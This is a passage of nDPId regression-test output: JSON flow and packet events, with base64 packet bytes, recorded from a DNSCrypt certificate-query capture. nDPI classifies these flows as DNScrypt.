+00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":260,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":286200,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQaDcAub0RcygKAAABQlUecwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":260,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00669{"flow_id":107,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":261,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":399677,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUFOhAADYRDa1CVR5zCgAAAQG702AAwE8ILCiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} +00669{"flow_id":103,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":262,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":400829,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUFOlAADYRDaxCVR5zCgAAAQG72lgAwEgMLCyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} +00669{"flow_id":104,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":263,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":401005,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUFOpAADYRDatCVR5zCgAAAQG7vUAAwGUnLCmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAlldmlsdmliZXMDY29tAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAADd8l9MieIsifjQGavIzw6tdHygby+pfz9uNV\/2so9cMC7hGKDfc+LzmB07CCRnhhWiHEKH9gFPecA8dSkDUDQHbk9p0e06j3wfoDIfK8NHA0t38M\/xpcLwZlzH2416A0JuT2nR7TqPfAAAAAFfU1T+X1Smfg=="} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":264,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":46255,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01104{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402199,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc7t1AAL0RzDEKAAABXV\/ipbSvAbsCCALbx+wBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":264,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":46255,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":265,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":49186,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02387{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":265,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402248,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc7t4gAL0R6HAKAAABXV\/ipcAiAbsGBEBnx+kBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":265,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":49186,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":266,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402267,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ7t4Aub0RDUQKAAABXV\/ipQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":266,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":267,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58113,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02387{"flow_id":111,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402318,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc7t8gAL0R6G8KAAABXV\/ipeMBAbsGBB2Gx+sBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":267,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":111,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58113,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":268,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":42156,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01104{"flow_id":112,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402323,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc7uBAAL0RzC4KAAABXV\/ipaSsAbsCCALbx+oBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":268,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":112,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":42156,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":269,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402335,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ7t8Aub0RDUMKAAABXV\/ipQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":269,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":270,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58936,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01104{"flow_id":113,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":270,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402350,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc7uFAAL0RzC0KAAABXV\/ipeY4AbsCCALbx+gBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":270,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":113,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":58936,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":271,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":946739312402,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"93.95.226.165","src_port":40595,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02387{"flow_id":114,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":271,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":402392,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc7uIgAL0R6GwKAAABXV\/ipZ6TAbsGBGH4x+cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANpczIEZDB3bgNiaXoAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA